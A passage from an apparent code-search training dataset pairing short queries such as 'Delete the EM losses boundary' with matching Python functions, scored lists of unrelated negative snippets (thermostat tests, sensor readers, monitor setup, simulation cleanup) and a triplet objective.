'90_Degrees']\\n self._config_date = None\\n self.sync_data()\",\n \"def create_monitor_table():\\n print \\\"\\\\nCreating DB test if not exist\\\\n\\\"\\n cnx_local_test = MySQLdb.connect(user='root',\\n passwd=CREDENTIALS[\\\"root\\\"],\\n host='localhost',\\n unix_socket='/var/lib/mysql/mysql.sock')\\n cursor = cnx_local_test.cursor()\\n cursor.execute(\\\"SET sql_notes = 0;\\\")\\n try:\\n cursor.execute(\\\"\\\"\\\"\\n CREATE DATABASE IF NOT EXISTS `test`\\n \\\"\\\"\\\")\\n except Exception as err:\\n print \\\"Could not create database test: {}\\\".format(err)\\n sys.exit(1)\\n else:\\n cnx_local_test.commit()\\n cnx_local_test.close()\\n\\n print \\\"Creating table for Monitor\\\\n\\\"\\n cnx_local_test = MySQLdb.connect(user='root',\\n passwd=CREDENTIALS[\\\"root\\\"],\\n host='localhost',\\n unix_socket='/var/lib/mysql/mysql.sock',\\n db='test')\\n cursor = cnx_local_test.cursor()\\n\\n try:\\n cursor.execute(\\\"\\\"\\\"\\n CREATE TABLE IF NOT EXISTS `monitor` (\\n `id` varchar(255) DEFAULT NULL\\n ) ENGINE=InnoDB DEFAULT CHARSET=utf8\\n \\\"\\\"\\\")\\n cnx_local_test.commit()\\n except Exception as err:\\n print \\\"Could not create test table: {}\\\".format(err)\\n sys.exit(1)\\n else:\\n cnx_local_test.commit()\\n\\n try:\\n cursor.execute(\\\"\\\"\\\"\\n INSERT INTO test.monitor SET id=(\\\"placeholder\\\");\\n \\\"\\\"\\\")\\n cnx_local_test.commit()\\n except Exception as err:\\n print \\\"Unable to write to test table: {}\\\".format(err)\\n finally:\\n if cnx_local_test:\\n cnx_local_test.close()\",\n \"def __init__ (self, name=\\\"TrigEFMissingETCosmicMonitoring\\\"):\\n super(TrigEFMissingETCosmicMonitoring, self).__init__(name)\\n self.defineTarget(\\\"Cosmic\\\")\\n # measurement\\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\\n self.Histograms += [ hMET_lin, hSumEt_lin ]\\n self.Histograms += [ hMETPhi, hMETStatus]\\n self.Histograms += [ hCompEx, hCompEy, hCompEz, hCompEt, hCompSumEt, hCompSumE ]\\n self.Histograms += [ hCompEt_lin, hCompSumEt_lin ]\\n # timers\\n# self.Histograms += [ hTotalTime, hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\\n self.Histograms += [ hTotalTimeRegSel, hTotalTimeLoadCol, hTotalTimeLoop ]\\n self.Histograms += [ hTotalTimeEM, hTotalTimeHEC, hTotalTimeTile ]\",\n \"def measurements():\\n \\n number_of_days = 100\\n\\n\\n # the temperature is usually 20 but can vary by 10 degrees at a time\\n \\n average_temperature, standard_deviation = 20, 10\\n\\n # ground truth temperature\\n\\n _c = np.random.normal(average_temperature, standard_deviation, number_of_days)\\n\\n # the therometer is usually 2 off but can be off by up to 4 degrees\\n \\n average_jankiness, standard_jankiness = 2, 2\\n \\n temperature_deviations = np.random.normal(average_jankiness, standard_jankiness, number_of_days)\\n\\n c = _c + temperature_deviations\\n \\n _f = convert(_c)\\n\\n average_jankiness, standard_jankiness = 2.4, 3.3\\n\\n therometer_deviations = np.random.normal(average_jankiness, standard_jankiness, number_of_days)\\n \\n f = _f + therometer_deviations\\n \\n return pd.DataFrame({\\n 'c': c,\\n 'f': f,\\n })\",\n \"def sendTemperature(self):\\n if len(self.controller.myContainer.temperature) != 0:\\n temp = sum(self.controller.myContainer.temperature) / len(self.controller.myContainer.temperature)\\n else:\\n temp = 0\\n payload = ('{\\\"ts\\\": '+ str(int(time())) + ', \\\"temp\\\":' + str(temp) +\\n '\\\"data\\\": { \\\"status\\\": ' + str(self.controller.status) + ', \\\"setpoint\\\": '+ str(self.controller.setpoint) + ' }}' )\\n res, self.midTemp = self.client.publish(self.pubTemp, payload, qos=1, retain=False)\\n if debug: print(\\\"Sent: \\\", payload , \\\"on\\\", self.pubTemp, \\\"mid: \\\", self.midTemp)\\n self.controller.myContainer.resetTempAccumulators()\\n\\n filename = self.pubTemp.replace(\\\"/\\\", \\\"-\\\") + \\\".txt\\\"\\n if self.storeTempLocal:\\n f = open(filename, 'a+')\\n f.write(self.lastTempPayload+\\\"\\\\n\\\")\\n f.close()\\n self.storeLocalTemp = True\\n self.lastTempPayload = payload\",\n \"def temperature(self, temperature):\\n\\n self._temperature = temperature\",\n \"def temperature(self, temperature):\\n\\n self._temperature = temperature\",\n \"def start_monitor_loop(self):\\n read_file = read_config_file.ConfigFileReader()\\n\\n communication_time = read_file.get_send_communication_time()\\n metrics_array = read_file.get_metrics()\\n\\n self.add_metrics_to_monitor_object(communication_time, metrics_array)\",\n \"def _run():\\n\\n temperatures_kelvins = _create_temperature_grid()\\n first_derivs_kelvins_pt01 = numpy.gradient(temperatures_kelvins)\\n second_derivs_kelvins_pt01 = numpy.gradient(\\n numpy.absolute(first_derivs_kelvins_pt01)\\n )\\n\\n this_ratio = (\\n numpy.max(temperatures_kelvins) /\\n numpy.max(first_derivs_kelvins_pt01)\\n )\\n\\n first_derivs_unitless = first_derivs_kelvins_pt01 * this_ratio\\n\\n this_ratio = (\\n numpy.max(temperatures_kelvins) /\\n numpy.max(second_derivs_kelvins_pt01)\\n )\\n\\n second_derivs_unitless = second_derivs_kelvins_pt01 * this_ratio\\n\\n _, axes_object = pyplot.subplots(\\n 1, 1, figsize=(FIGURE_WIDTH_INCHES, FIGURE_HEIGHT_INCHES)\\n )\\n\\n temperature_handle = axes_object.plot(\\n temperatures_kelvins, color=TEMPERATURE_COLOUR, linestyle='solid',\\n linewidth=SOLID_LINE_WIDTH\\n )[0]\\n\\n second_deriv_handle = axes_object.plot(\\n second_derivs_unitless, color=SECOND_DERIV_COLOUR, linestyle='solid',\\n linewidth=SOLID_LINE_WIDTH\\n )[0]\\n\\n first_deriv_handle = axes_object.plot(\\n first_derivs_unitless, color=FIRST_DERIV_COLOUR, linestyle='dashed',\\n linewidth=DASHED_LINE_WIDTH\\n )[0]\\n\\n this_min_index = numpy.argmin(second_derivs_unitless)\\n second_derivs_unitless[\\n (this_min_index - 10):(this_min_index + 10)\\n ] = second_derivs_unitless[this_min_index]\\n\\n tfp_handle = axes_object.plot(\\n -1 * second_derivs_unitless, color=TFP_COLOUR, linestyle='dashed',\\n linewidth=DASHED_LINE_WIDTH\\n )[0]\\n\\n axes_object.set_yticks([0])\\n axes_object.set_xticks([], [])\\n\\n x_label_string = r'$x$-coordinate (increasing to the right)'\\n axes_object.set_xlabel(x_label_string)\\n\\n legend_handles = [\\n temperature_handle, first_deriv_handle, second_deriv_handle,\\n tfp_handle\\n ]\\n\\n legend_strings = [\\n TEMPERATURE_LEGEND_STRING, FIRST_DERIV_LEGEND_STRING,\\n SECOND_DERIV_LEGEND_STRING, TFP_LEGEND_STRING\\n ]\\n\\n axes_object.legend(legend_handles, legend_strings, loc='lower right')\\n\\n print 'Saving figure to file: \\\"{0:s}\\\"...'.format(OUTPUT_FILE_NAME)\\n pyplot.savefig(OUTPUT_FILE_NAME, dpi=FIGURE_RESOLUTION_DPI)\\n pyplot.close()\",\n \"def __init__ (self, name=\\\"TrigEFMissingETOnlineMonitoring_alt\\\"):\\n super(TrigEFMissingETOnlineMonitoring_alt, self).__init__(name)\\n self.defineTarget(\\\"Online\\\")\\n # measurement\\n self.Histograms = [ hEx_log, hEy_log, hEz_log, hMET_log, hSumEt_log ]\\n self.Histograms += [ hMET_lin, hMETStatus ]\\n self.Histograms += [ hMETPhi ]\",\n \"def make_temperature_map(time: u.s, field, instr, **kwargs):\\n plot_settings = {'cmap': cm.get_cmap('inferno')}\\n plot_settings.update(kwargs.get('plot_settings', {}))\\n bins, bin_range = instr.make_detector_array(field)\\n visible = is_visible(instr.total_coordinates, instr.observer_coordinate)\\n hist_coordinates, _, _ = np.histogram2d(instr.total_coordinates.Tx.value,\\n instr.total_coordinates.Ty.value,\\n bins=(bins.x.value, bins.y.value),\\n range=(bin_range.x.value, bin_range.y.value),\\n weights=visible)\\n with h5py.File(instr.counts_file, 'r') as hf:\\n try:\\n i_time = np.where(u.Quantity(hf['time'],\\n get_keys(hf['time'].attrs), ('unit', 'units')) == time)[0][0]\\n except IndexError:\\n raise IndexError(f'{time} is not a valid time in observing time for {instr.name}')\\n weights = np.array(hf['electron_temperature'][i_time, :])\\n units = u.Unit(get_keys(hf['electron_temperature'].attrs, ('unit', 'units')))\\n hist, _, _ = np.histogram2d(instr.total_coordinates.Tx.value,\\n instr.total_coordinates.Ty.value,\\n bins=(bins.x.value, bins.y.value),\\n range=(bin_range.x.value, bin_range.y.value),\\n weights=weights * visible)\\n hist /= np.where(hist_coordinates == 0, 1, hist_coordinates)\\n meta = instr.make_fits_header(field, instr.channels[0])\\n del meta['wavelnth']\\n del meta['waveunit']\\n meta['bunit'] = units.to_string()\\n meta['detector'] = 'Electron Temperature'\\n meta['comment'] = 'Column-averaged electron temperature calculated by synthesizAR'\\n\\n return GenericMap(hist.T, meta, plot_settings=plot_settings)\",\n \"def monitor(self):\\n if self.startup():\\n time.sleep(0.250)\\n self.run()\",\n \"def initMonitor(self, task, job, logPath, args={}):\\n print(\\\"In TestMonitor.initMonitor\\\")\\n\\n self.softTimeOut = args.get('softTimeOut', None)\\n self.hardTimeOut = args.get('hardTimeOut', None)\",\n \"async def test_thermostat_heatit_z_trm2fx(\\n hass: HomeAssistant, client, climate_heatit_z_trm2fx, integration\\n) -> None:\\n node = climate_heatit_z_trm2fx\\n state = hass.states.get(CLIMATE_FLOOR_THERMOSTAT_ENTITY)\\n\\n assert state\\n assert state.state == HVACMode.HEAT\\n assert state.attributes[ATTR_HVAC_MODES] == [\\n HVACMode.OFF,\\n HVACMode.HEAT,\\n HVACMode.COOL,\\n ]\\n assert state.attributes[ATTR_CURRENT_TEMPERATURE] == 28.8\\n assert state.attributes[ATTR_TEMPERATURE] == 29\\n assert (\\n state.attributes[ATTR_SUPPORTED_FEATURES]\\n == ClimateEntityFeature.TARGET_TEMPERATURE | ClimateEntityFeature.PRESET_MODE\\n )\\n assert state.attributes[ATTR_MIN_TEMP] == 7\\n assert state.attributes[ATTR_MAX_TEMP] == 35\\n\\n # Try switching to external sensor\\n event = Event(\\n type=\\\"value updated\\\",\\n data={\\n \\\"source\\\": \\\"node\\\",\\n \\\"event\\\": \\\"value updated\\\",\\n \\\"nodeId\\\": 24,\\n \\\"args\\\": {\\n \\\"commandClassName\\\": \\\"Configuration\\\",\\n \\\"commandClass\\\": 112,\\n \\\"endpoint\\\": 0,\\n \\\"property\\\": 2,\\n \\\"propertyName\\\": \\\"Sensor mode\\\",\\n \\\"newValue\\\": 4,\\n \\\"prevValue\\\": 2,\\n },\\n },\\n )\\n node.receive_event(event)\\n state = hass.states.get(CLIMATE_FLOOR_THERMOSTAT_ENTITY)\\n assert state\\n assert state.attributes[ATTR_CURRENT_TEMPERATURE] == 0\",\n \"async def _async_start_monitor(self) -> None:\\n if not sys.platform.startswith(\\\"linux\\\"):\\n return\\n info = await system_info.async_get_system_info(self.hass)\\n if info.get(\\\"docker\\\"):\\n return\\n\\n from pyudev import ( # pylint: disable=import-outside-toplevel\\n Context,\\n Monitor,\\n MonitorObserver,\\n )\\n\\n try:\\n context = Context()\\n except (ImportError, OSError):\\n return\\n\\n monitor = Monitor.from_netlink(context)\\n try:\\n monitor.filter_by(subsystem=\\\"tty\\\")\\n except ValueError as ex: # this fails on WSL\\n _LOGGER.debug(\\n \\\"Unable to setup pyudev filtering; This is expected on WSL: %s\\\", ex\\n )\\n return\\n observer = MonitorObserver(\\n monitor, callback=self._device_discovered, name=\\\"usb-observer\\\"\\n )\\n observer.start()\\n\\n def _stop_observer(event: Event) -> None:\\n observer.stop()\\n\\n self.hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, _stop_observer)\\n self.observer_active = True\",\n \"def get_temperature(self):\\n pass\",\n \"def initialize():\\n for file_name in glob.glob('/dev/usb/hiddev*'):\\n with open(file_name, 'rb') as fd:\\n if not pytjapi.is_tigerjet(fd.fileno()):\\n continue\\n\\n # Enable DTMF and Hook Status HID reports\\n data = pytjapi.read(fd.fileno(), 0x4e)\\n pytjapi.write(fd.fileno(), 0x4e, (data | 0x40))\\n\\n # Lower the DTMF decoder threshold from 0x199 to 0x50\\n # This is required to work with the DSC PC9155 alarm\\n pytjapi.write(fd.fileno(), 0x35, 0x50)\\n pytjapi.write(fd.fileno(), 0x36, 0)\\n\\n global TJ_ID\\n TJ_ID = file_name[15:]\\n break\\n else:\\n raise ValueError('Unable to find TigerJet Device')\",\n \"async def test_climate_set_temperature(hass: HomeAssistant, nefit_wrapper):\\n nefit_climate_entity = \\\"climate.nefit\\\"\\n\\n thermostat = hass.states.get(\\\"climate.nefit\\\")\\n assert thermostat.attributes[ATTR_TEMPERATURE] == 20.0\\n\\n await hass.services.async_call(\\n CLIMATE_DOMAIN,\\n SERVICE_SET_TEMPERATURE,\\n {\\\"entity_id\\\": nefit_climate_entity, ATTR_TEMPERATURE: 17.0},\\n blocking=True,\\n )\\n await hass.async_block_till_done()\\n\\n thermostat = hass.states.get(\\\"climate.nefit\\\")\\n assert thermostat.attributes[ATTR_TEMPERATURE] == 17.0\",\n \"def conduct_heat(self, delta_time, external_power):\\n\\t\\tself.temperature_container = self.temperature_container+self.area*external_power*delta_time/(self.heat_capacity_container*self.mass_container)#https://en.wikipedia.org/wiki/Heat_capacity\\n\\t\\t\\n\\t\\tinternal_power = 0.591*(self.temperature_container-self.temperature)/0.01#No idea of this is right. Mainly the devides by its length bit. https://en.wikipedia.org/wiki/Thermal_conduction#Fourier's_law\\n\\t\\t\\n\\t\\tif (self.heat_capacity*self.mass())!=0:\\n\\t\\t\\tself.temperature = self.temperature+internal_power*delta_time/(self.heat_capacity*self.mass())\\n\\t\\t\\t#self.temperature_container=self.temperature_container-internal_power*delta_time/(self.heat_capacity_container*self.mass_container)#Als je dit toevoegd lijkt de simulatie niet goed meer te werken dus nog even uitzoeken heo dat zit.\",\n \"async def test_get_temperature_range(hass, hk_driver, cls):\\n entity_id = 'climate.test'\\n\\n hass.states.async_set(entity_id, STATE_OFF)\\n await hass.async_block_till_done()\\n acc = cls.thermostat(hass, hk_driver, 'Climate', entity_id, 2, None)\\n\\n hass.states.async_set(entity_id, STATE_OFF,\\n {ATTR_MIN_TEMP: 20, ATTR_MAX_TEMP: 25})\\n await hass.async_block_till_done()\\n assert acc.get_temperature_range() == (20, 25)\\n\\n acc._unit = TEMP_FAHRENHEIT\\n hass.states.async_set(entity_id, STATE_OFF,\\n {ATTR_MIN_TEMP: 60, ATTR_MAX_TEMP: 70})\\n await hass.async_block_till_done()\\n assert acc.get_temperature_range() == (15.6, 21.1)\",\n \"def test_create_healthmonitor_with_all_params(self):\\r\\n resource = 'health_monitor'\\r\\n cmd = healthmonitor.CreateHealthMonitor(test_cli20.MyApp(sys.stdout),\\r\\n None)\\r\\n admin_state_up = False\\r\\n delay = '60'\\r\\n expected_codes = '200-202,204'\\r\\n http_method = 'HEAD'\\r\\n max_retries = '2'\\r\\n timeout = '10'\\r\\n type = 'TCP'\\r\\n tenant_id = 'my-tenant'\\r\\n url_path = '/health'\\r\\n my_id = 'my-id'\\r\\n args = ['--admin-state-down',\\r\\n '--delay', delay,\\r\\n '--expected-codes', expected_codes,\\r\\n '--http-method', http_method,\\r\\n '--max-retries', max_retries,\\r\\n '--timeout', timeout,\\r\\n '--type', type,\\r\\n '--tenant-id', tenant_id,\\r\\n '--url-path', url_path]\\r\\n position_names = ['admin_state_up', 'delay',\\r\\n 'expected_codes', 'http_method',\\r\\n 'max_retries', 'timeout',\\r\\n 'type', 'tenant_id', 'url_path']\\r\\n position_values = [admin_state_up, delay,\\r\\n expected_codes, http_method,\\r\\n max_retries, timeout,\\r\\n type, tenant_id, url_path]\\r\\n self._test_create_resource(resource, cmd, '', my_id, args,\\r\\n position_names, position_values)\",\n \"def create_health_monitor(self, body=None):\\r\\n return self.post(self.health_monitors_path, body=body)\",\n \"def get_temperatures(self):\\n\\t\\ttry:\\n\\t\\t\\ttemps = psutil.sensors_temperatures()\\n\\t\\texcept AttributeError:\\n\\t\\t\\treturn {'available': False}\\n\\t\\t\\n\\t\\tcollection = {'available': True, 'measurements': []}\\n\\t\\tfor name, measurements in temps.items():\\n\\t\\t\\tif name == 'k10temp':\\n\\t\\t\\t\\tcollection['measurements'].append({\\n\\t\\t\\t\\t\\t'name': 'AMD Processor',\\n\\t\\t\\t\\t\\t'current': measurements[0].current,\\n\\t\\t\\t\\t\\t'limit': measurements[0].critical\\n\\t\\t\\t\\t})\\n\\n\\t\\treturn collection\",\n \"def watch(self):\\n self.bot.set_all_initial()\\n if \\\"monitor_iterations\\\" in self.auto_settings:\\n monitor_iterations = self.auto_settings[\\\"monitor_iterations\\\"]\\n else:\\n monitor_iterations = 10\\n\\n monitor_results = self.motion_sensors.detect_motion(read_times=monitor_iterations)\\n if monitor_results is None:\\n return\\n else:\\n self.communications.set_status(\\\"Motion Detected, PANIC!\\\")\\n self.communications.add_event(\\\"Motion Triggered on {}\\\".format(monitor_results.items()))\\n self.communications.send_notification(\\\"Motion Detected\\\", monitor_results.keys())\",\n \"def set_temperature(self, **kwargs):\\n self._target_temperature_low = kwargs.get(ATTR_TARGET_TEMP_LOW)\\n self._target_temperature_high = kwargs.get(ATTR_TARGET_TEMP_HIGH)\\n temp = kwargs.get(ATTR_TEMPERATURE)\\n if self.current_operation == 'Heat & Cool' and self._target_temperature_low is not None \\\\\\n and self._target_temperature_high is not None:\\n self._api._heatto = self._target_temperature_low\\n self._api._coolto = self._target_temperature_high\\n elif temp is not None:\\n if self.current_operation == 'Heat only':\\n self._api._heatto = temp\\n self._api._coolto = temp + 10\\n elif self.current_operation == 'Cool only':\\n self._api._heatto = temp - 10\\n self._api._coolto = temp \\n self._api.set()\\n self.schedule_update_ha_state()\",\n \"def __init__(self):\\n Thread.__init__(self)\\n self.temperature_c = None\\n self.humidity = None\\n self.running = True\\n self._sensor = adafruit_dht.DHT22(board.D17, use_pulseio=False)\\n self._current_temperature_reading = None\\n self._current_humidity_reading = None\",\n \"def __init__(self):\\n self.wnd = WindSensor()\",\n \"def set_temperature(self, temperature):\\n self.device.set_temperature(self._name, temperature)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6352923","0.60325027","0.5969366","0.596796","0.58568716","0.577268","0.5719137","0.5601181","0.5568259","0.5551024","0.55270517","0.5474353","0.54662377","0.54618007","0.5457268","0.545686","0.5451471","0.5451471","0.5451471","0.5444733","0.5432432","0.54307973","0.54238033","0.542082","0.5416089","0.5402136","0.53851813","0.5382888","0.53672445","0.53463715","0.53403527","0.53249025","0.53105545","0.52862656","0.5286007","0.52819735","0.5279277","0.52769744","0.52641493","0.52601856","0.5256999","0.5255987","0.5235123","0.52144474","0.52063","0.52060115","0.52053106","0.5198981","0.51877856","0.5187307","0.51856565","0.5185067","0.518021","0.5171465","0.51656234","0.5164317","0.51631176","0.516156","0.515945","0.5150167","0.51454544","0.51413333","0.5127601","0.5125961","0.51246285","0.5121443","0.51196575","0.51118636","0.51103413","0.51024175","0.51021796","0.5100999","0.50990796","0.5093487","0.5091826","0.5087673","0.50866437","0.50862825","0.50862825","0.5075877","0.5071568","0.50615317","0.5057056","0.5047123","0.5039489","0.5032428","0.50316447","0.50276864","0.50237125","0.5019119","0.5016409","0.50123066","0.50119275","0.5005302","0.49948314","0.4991114","0.4986218","0.4985479","0.49834862","0.49819818"],"string":"[\n \"0.6352923\",\n \"0.60325027\",\n \"0.5969366\",\n \"0.596796\",\n \"0.58568716\",\n \"0.577268\",\n \"0.5719137\",\n \"0.5601181\",\n \"0.5568259\",\n \"0.5551024\",\n \"0.55270517\",\n \"0.5474353\",\n \"0.54662377\",\n \"0.54618007\",\n \"0.5457268\",\n \"0.545686\",\n \"0.5451471\",\n \"0.5451471\",\n \"0.5451471\",\n \"0.5444733\",\n \"0.5432432\",\n \"0.54307973\",\n \"0.54238033\",\n \"0.542082\",\n \"0.5416089\",\n \"0.5402136\",\n \"0.53851813\",\n \"0.5382888\",\n \"0.53672445\",\n \"0.53463715\",\n \"0.53403527\",\n \"0.53249025\",\n \"0.53105545\",\n \"0.52862656\",\n \"0.5286007\",\n \"0.52819735\",\n \"0.5279277\",\n \"0.52769744\",\n \"0.52641493\",\n \"0.52601856\",\n \"0.5256999\",\n \"0.5255987\",\n \"0.5235123\",\n \"0.52144474\",\n \"0.52063\",\n \"0.52060115\",\n \"0.52053106\",\n \"0.5198981\",\n \"0.51877856\",\n \"0.5187307\",\n \"0.51856565\",\n \"0.5185067\",\n \"0.518021\",\n \"0.5171465\",\n \"0.51656234\",\n \"0.5164317\",\n \"0.51631176\",\n \"0.516156\",\n \"0.515945\",\n \"0.5150167\",\n \"0.51454544\",\n \"0.51413333\",\n \"0.5127601\",\n \"0.5125961\",\n \"0.51246285\",\n \"0.5121443\",\n \"0.51196575\",\n \"0.51118636\",\n \"0.51103413\",\n \"0.51024175\",\n \"0.51021796\",\n \"0.5100999\",\n \"0.50990796\",\n \"0.5093487\",\n \"0.5091826\",\n \"0.5087673\",\n \"0.50866437\",\n \"0.50862825\",\n \"0.50862825\",\n \"0.5075877\",\n \"0.5071568\",\n \"0.50615317\",\n \"0.5057056\",\n \"0.5047123\",\n \"0.5039489\",\n \"0.5032428\",\n \"0.50316447\",\n \"0.50276864\",\n \"0.50237125\",\n \"0.5019119\",\n \"0.5016409\",\n \"0.50123066\",\n \"0.50119275\",\n \"0.5005302\",\n \"0.49948314\",\n \"0.4991114\",\n \"0.4986218\",\n \"0.4985479\",\n \"0.49834862\",\n \"0.49819818\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.550815"},"document_rank":{"kind":"string","value":"11"}}},{"rowIdx":80088,"cells":{"query":{"kind":"string","value":"Delete the EM losses boundary."},"document":{"kind":"string","value":"def delete_em_losses(self, bound_name):\n self.oboundary.DeleteBoundaries([bound_name])\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def die(self):\n self.pjs.bombermen.remove(self)\n for block in self.physics.blocks[self.stype]:\n if block == self.rects[0]:\n self.physics.blocks[self.stype].remove(block)","def eraseLastSeg(self):\n self.can.delete(self.segs.pop().getGraphicObject())","def clear(self) -> None:\n self._loss_dict.clear()","def delete(self):\n if self.shape is not None:\n self.shape.delete()\n if self in shared.obstacles:\n shared.obstacles.remove(self)","def delete(self):\n Texture2D.delete_glo(self._ctx, self._glo)\n self._glo.value = 0","def __del__(self):\n \n _cantera.wall_del(self.__wall_id)","def __del__(self):\n self.slaves.end()","def losses(self):\n pass","def remove(self):\n\n self.last_move = \"\"\n self.collision_boxes = []\n self.removed=True","def test_model_deleting_works_properly(self):\r\n e1 = TestEdge.create(self.v1, self.v2, numbers=3)\r\n \r\n e1.delete()\r\n edges = self.v1.outE()\r\n assert len(edges) == 0","def __del__(self):\n del self.board_\n del self.children_edges_\n self.board_ = None\n del self.parent_edge_\n # print(\"destruct node\")","def __del__(self):\n try:\n pybullet.disconnect(physicsClientId=self._client)\n except pybullet.error:\n pass","def rm_calibration(self):\n\n self.bin_edges_kev = None","def delete_ball(self):\r\n self.movement = \"\"\r\n self.canvas.delete(self.ball)","def del_cells(self):\t\r\n del self._cells","def deleteCheckpoint(self):\n if len(self.__stack) == 0:\n raise EmptyStackException()\n self.__stack = self.__stack[:-1]","def drop_message(self):\n heapq.heappop(self._message_queue)","def delY(self):\n del self.components[1]","def delY(self):\n del self.components[1]","def __del__(self):\n self._screen._removePen(self)\n del self._turtle","def erase(self):\n pass","def drop(self):\n for step in self.steps:\n step[1].drop()","def kill(self):\n for piece in self.board.pieces:\n piece.destroyed = True","def delete_grid(self):\n\n\t\tself.a_grid = None\t\t# Deletes the object from memory","def delX(self):\n del self.components[0]","def delX(self):\n del self.components[0]","def deleteDouble(self):\n prev=None\n for x in reversed(self.activeFrames):\n if(prev):\n if(isinstance(x ,prev.__class__)):\n del self.activeFrames[self.activeFrames.index(prev)]\n prev=x","def delDimension(self):\n self.components = []","def clear(self):\n self._multivol.deallocate(self.id)","def cleanup(self):\n self.msgmap.clear()\n self.droppedmsgs.clear()\n self.chan.stop_receiving_messages()\n\n # TODO: enable\n #self.cmdMap.clear()\n #self.cmdCliSubmitQueue.clear()\n #self.cmdSvrComputeQueue.clear()\n #self.droppedCommands.clear()\n #self.ch.stop_receiving_commands()","def __del__(self):\n self.stop()","def __del__(self):\n self.stop()","def __del__(self):\n self.stop()","def __del__(self):\n self.stop()","def __del__(self):\r\n self.chunk = None","def destroy(self):\n # Remove the synapses from all data structures outside this Segment.\n for synapse in self.__synapses:\n self._connectionGroup._removeSynapseFromPresynapticMap(synapse)\n self._connectionGroup._numSynapses -= len(segment._synapses)\n\n # Remove the segment from the cell's list.\n segments = self.cell._segments\n i = segments.index(self)\n del segments[i]\n\n # Free the flatIdx and remove the final reference so the Segment can be\n # garbage-collected.\n self._connectionGroup._freeUIDs.append(self.UID)\n self._connectionGroup._segmentForUID[self.UID] = None","def deleteBolts(self):\n a = self.get_bolts()\n for i in self.get_bolts():\n if i.y>GAME_HEIGHT:\n a.remove(i)\n self.set_plyrbolts(0)\n elif i.y<=-BOLT_HEIGHT:\n a.remove(i)","def remove():","def remove_life(self):\r\n if self.__lives < 0:\r\n self.__lives -= 1","def clear_press(self):\n\n for win in self.window.additional_windows:\n win.del_win()\n\n pos = self.window.physics_canvas.physics_objects\n self.window.physics_canvas.physics_objects = []\n\n for obj in pos:\n self.window.physics_canvas.canvas.delete(obj.canvas_id)\n\n for force in self.window.physics_canvas.interacting_forces:\n force.remove()\n\n for particle in self.window.physics_canvas.particles:\n self.window.physics_canvas.canvas.delete(particle.canvas_id)","def cleanup(self):\n self.GP.cleanup()","def abort(self):\n for key in self.listeners:\n sem = self.listeners[key]\n self.listeners[key] = None\n\n # TODO: Received data and semahore should be stored separately\n if isinstance(sem, asyncio.Semaphore):\n sem.release()","def deallocate(self):\n raise NotImplementedError","def delete(self):\n self.graph._del(handle=self.handle)","def clear(self):\n poc_grid.Grid.clear(self)\n self._fire_boundary.clear()","def deleteBall(self):\n self._ball = None","def JointDestroyed(self, joint):\r\n\t\tpass","def drop(self):\n pass","def drop(self):\n pass","def __del__(self):\n self.Clear()","def bye(self):\n self._frame._destroy()\n self._turtles = []\n self._gpens = []\n del self._frame","def remove(self):\r\n\t\tself._delete()","def __del__(self):\n\t\tself._pc.gid_clear()","def __del__(self):\n try:\n self._frame._destroy()\n except:\n pass\n self._turtles = []\n self._pencils = []\n del self._frame","def clean(self):\n # Delete vertices / faces / colors / normals :\n self._vert_buffer.delete()\n self._index_buffer.delete()\n self._normals_buffer.delete()\n self._xrange_buffer.delete()\n self._math_buffer.delete()","def reset(self):\n\n logger.info('Removed existing OpenMM engine.')\n self._simulation = None","def remove(self):","def __del__(self):\n\n # Base class destructor is called ?? needed\n sim.Simulation.__del__(self)\n\n if self.verbose:\n print \"Cleaning derived simulation object LAMMPS1\"\n\n del self.pairCoeffDct\n del self.bondCoeffDct","def del_ly(self):\r\n del self._ly","def removeScene(self):\n del self.scene, self.imgPixmapItem","def __exit__(self, exc_type, exc_val, exc_tb):\n printy(\"Cleaning after myself...\")\n self.key.delete()\n if self.instance:\n self.instance.terminate()\n # wait for the machine to terminate\n self.wait_for_status(48)\n\n self.sec_grp.delete()\n os.remove(self.key.name + \".pem\")\n printy(\"Builder teardown complete\")","def leave(self, fsm):\n pass","def JointDestroyed(self, joint):\n pass","def deleteAllNeedlesFromScene(self):\n #productive #onButton\n profprint()\n while slicer.util.getNodes('python-catch-round_'+str(self.round)+'*') != {}:\n nodes = slicer.util.getNodes('python-catch-round_'+str(self.round)+'*')\n for node in nodes.values():\n slicer.mrmlScene.RemoveNode(node)","def remove(self):\n self.inp.inputs.discard(self)\n self.out.outputs.discard(self)","def close_visualization(self) -> None:\n for id in self.visual_ids:\n pybullet.removeBody(id)\n self.visual_ids = []","def unload(self):\n\n self._layerManager.disconnectExtentEvent()\n if self._queues:\n self._queues.close()\n self._queues = None \n self.uidm.killDm()\n self.iface.mainWindow().removeToolBar(self._toolbar)\n self.iface.removeToolBarIcon(self._loadaction)\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin',self._loadaction)\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._createnewaddressaction)\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._deladdressaction)\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._updateaddressaction)\n self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._moveaddressaction)\n #self.iface.removePluginMenu('&QGIS-AIMS-Plugin', self._lineageaction)\n self.iface.removePluginMenu(\"&QGIS-AIMS-Plugin'\", self._highlightaction)\n self._layerManager","def clean(self):\n for i in range(len(self.asteroid_type) - 1, -1, -1):\n x, y = self.get_coords(self.asteroid_type[i])\n if x < -self.gap:\n self.del_asteroid(i)","def end_and_close(self):\n self.sim._model.swmm_end()\n self.sim._model.swmm_close()\n pass","def delete(self, *args, **kwargs):\n\t\tself.emo_img.delete(False)\n\t\tsuper(Emotion, self).delete(*args, **kwargs)","def discard(self):\r\n self.pushes.pop()","def onLoseCell(self):\n\t\t# Destroy base\n\t\tif not self.isDestroyed:\n\t\t\tself.destroy()\n\t\tDEBUG_MSG('Avatar::onLoseCell: %i' % self.id)","def delete_poses():\n global saved_marshmallow_pose\n global saved_mouth_pose\n saved_marshmallow_pose = None\n saved_mouth_pose = None\n print \"Deleted poses\"","def checkpoint_unset():\n 